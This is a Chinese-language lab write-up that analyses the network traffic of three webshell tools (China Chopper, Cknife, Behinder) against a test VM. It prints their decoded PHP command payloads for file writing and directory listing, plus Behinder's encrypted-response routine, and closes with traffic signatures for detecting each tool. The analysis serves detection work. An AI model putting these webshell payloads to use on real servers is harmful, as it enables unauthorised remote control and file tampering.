通過使用cknife,菜刀,冰蠍三種WebShell,使用wireshark抓包分析數據,了解這三者的工作原理。
菜刀使用
通過在靶機上掛馬,使用菜刀連接靶機
獲得靶機網站管理
寫入一個文件
然后用wireshark抓包分析通信流量看看
通信端口在80,以http post通訊
追蹤流
紅色部分即為客戶端的數據
通過分析可以看到基本信息
post方式
User-Agent:為Mozilla/5.0
Host:192.168.147.131
Content-Length:458
可以看到,紅色框起來的部分為傳輸的數據,123是我設置的密碼,這里使用base64加密數據,$XX中即為加密的內容
使用解碼工具將加密的數據進行解碼
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");echo fwrite(fopen('C:\Users\hxy\Desktop\NewFile.txt','w'),$_POST['z1'])?'1':'0';;echo("X@Y");die();
Z1中則是傳輸的數據,通過URL解碼方式
&z1=%CA%FD%BE%DD%BC%D3%D4%D8%B3%C9%B9%A6%A3%A1POST /1.php HTTP/1.1
解密后的內容和寫入文件內容一致。
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='C:\Users\hxy\Desktop\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
通過查閱資料了解解密后的內容
@ini_set("display_errors","0");臨時關閉PHP的錯誤顯示功能
@set_time_limit(0);防止像dir、上傳文件大馬時超時
@set_magic_quotes_runtime(0);關閉魔術引號
然后就是文件的讀寫操作。
從解密的數據中可以看出客戶端與shell的通信方式(了解大致過程)。
Cknife使用
使用cknife連接靶機,然后使用wireshark抓包分析
創建一個文件
抓包並追蹤流(這里只看攻擊數據)
對數據流分析
從圖中可以看到基本的信息,頭部信息和菜刀差不多。主要是在base64加密上有所差異,
Cknife對加密的數據進行了分段處理(通過%號區別,%2B用加號代替,%3D用等號代替)
解密的數據為:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-|");;echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;echo("|<-");die();
z1=C:\Users\hxy\Desktop\C'dao.txt
z2=Cdao finish!!!
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
z1=C:\Users\hxy\Desktop\
通過解碼后的數據可以看出通信過程的具體命令。
冰蠍使用
一開始還不是很清楚冰蠍,首先通過查找資料了解冰蠍加密原理,然后進行抓包分析。
先使用冰蠍連接靶機(注入方式和菜刀、Cknife不太一樣)
使用wireshark抓包分析:
首包的信息:
完整URL 192.168.147.140/shell.php?pass=616
首包響應狀態碼 200
Content-Length: 16
這里的“pass”為嵌入的密碼
可以看到get請求得到隨機密鑰,server返回生成的16位密鑰,get請求的sessionID
為0njfodvq5r18hcsiqtlpmnjqo0,返回的密鑰為4cb72b5416d4cdee
客戶端獲取密鑰后,對要執行的命令進行AES加密,加密后的流量如下:
用密鑰解密信息
解密后執行的命令被base64編碼了,進一步進行base64解碼后,得到執行的命令如下
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="7aea6b15-e26c-4a3a-a756-52dfe6769fa4";
main($content);
可以看到,經過處理,命令執行的結果保存在json串result中,result["status"] 表示命令是否執行成功,result["msg"]表示命令執行的結果。冰蠍對執行的返回結果result也進行了加密,加密方式也是采用的AES(如果php沒有開啟openssl擴展,在采用明文和密鑰逐位異或進行加密),密鑰也是利用第一步隨機get產生的密鑰。
總結
通過對菜刀、Cknife、冰蠍數據包的分析,大致了解了它們的工作原理。
菜刀特征點:1. ”Ba”.”SE6″.”4_dEc”.”OdE”,這部分是將base64解碼打斷使用來連接。
2.base64加密部分,該部分是傳遞攻擊payload,payload依舊使用base64編碼的,所以可以利用base64解碼可以看到攻擊明文來識別。所以菜刀攻擊流量很容易被檢測出來。
Cknife特征就是在body部分的參數值也是使用base64編碼,將該部分進行base64解碼后,其流量特征同菜刀一致,差別主要是體現在Cknife會將加密的信息進行分段處理。
冰蠍相對於菜刀和Cknife功能更加強大,同時也難以被檢測。主要是冰蠍在通信過程中將流量加密。同時也注意到,冰蠍加密過程中需要經歷兩個密鑰請求階段,可以利用這個特征進行檢測。冰蠍每一次連接請求都會向服務端發送一次GET請求獲取16位的密鑰,這16位的字符串就是密鑰,在客戶端和服務端的通信過程中使用密鑰進行加密以達到免殺的目的,因此在流量中發現這樣特征的流量,便可以發現隱藏在流量中的冰蠍webshell。